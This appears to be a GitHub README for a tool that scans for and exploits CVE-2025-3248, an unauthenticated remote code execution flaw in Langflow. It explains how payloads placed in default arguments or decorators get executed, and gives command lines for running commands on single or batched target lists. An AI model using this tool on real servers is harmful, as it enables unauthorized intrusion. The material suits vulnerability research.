bambooqj/cve-2025-3248Langflow 在对用户提交的“验证代码”做 AST 解析和编译时，在未做鉴权与沙箱限制的情况下调用了 Python 的 compile()/exec()（以及在编译阶段会评估函数默认参数与装饰器），攻击者可把恶意载荷放在参数默认值或装饰器里，借此在服务器上下文中执行任意语句（反弹 shell、下载器、横向移动等）
A Python tool for scanning and exploiting the CVE-2025-3248 vulnerability, which allows remote code execution (RCE) in Langflow applications.
pip install requests
python cve-2025-3248.py http://target:port
python cve-2025-3248.py http://target:port -c "id"
python cve-2025-3248.py -f urls.txt
python cve-2025-3248.py -f urls.txt -c "whoami"
python cve-2025-3248.py -f urls.txt -t 20 --timeout 15 -v
url: Target URL (e.g., http://10.10.10.1:7860)-f, --file: File containing a list of URLs, one URL per line-c, --cmd: Command to execute (e.g., id, whoami)--timeout: Request timeout, default 10 seconds-t, --threads: Number of threads for batch scanning, default 10-v, --verbose: Verbose mode, shows raw responsespython cve-2025-3248.py http://192.168.1.100:7860
python cve-2025-3248.py http://192.168.1.100:7860 -c "ls -la"
Create a file targets.txt:
http://192.168.1.100:7860
http://192.168.1.101:7860
http://192.168.1.102:7860
Then run:
python cve-2025-3248.py -f targets.txt
python cve-2025-3248.py -f targets.txt -c "uname -a" -t 5
[+] Successful execution[-] Failure or error[!] Warning message[*] Informational outputSuccessfully scanned targets are saved to vulnerable_targets.txt or vulnerable_targets_{command}.txt.
This tool is intended for security research and educational purposes only. Users are responsible for their own actions. Testing systems without authorization may violate laws and regulations.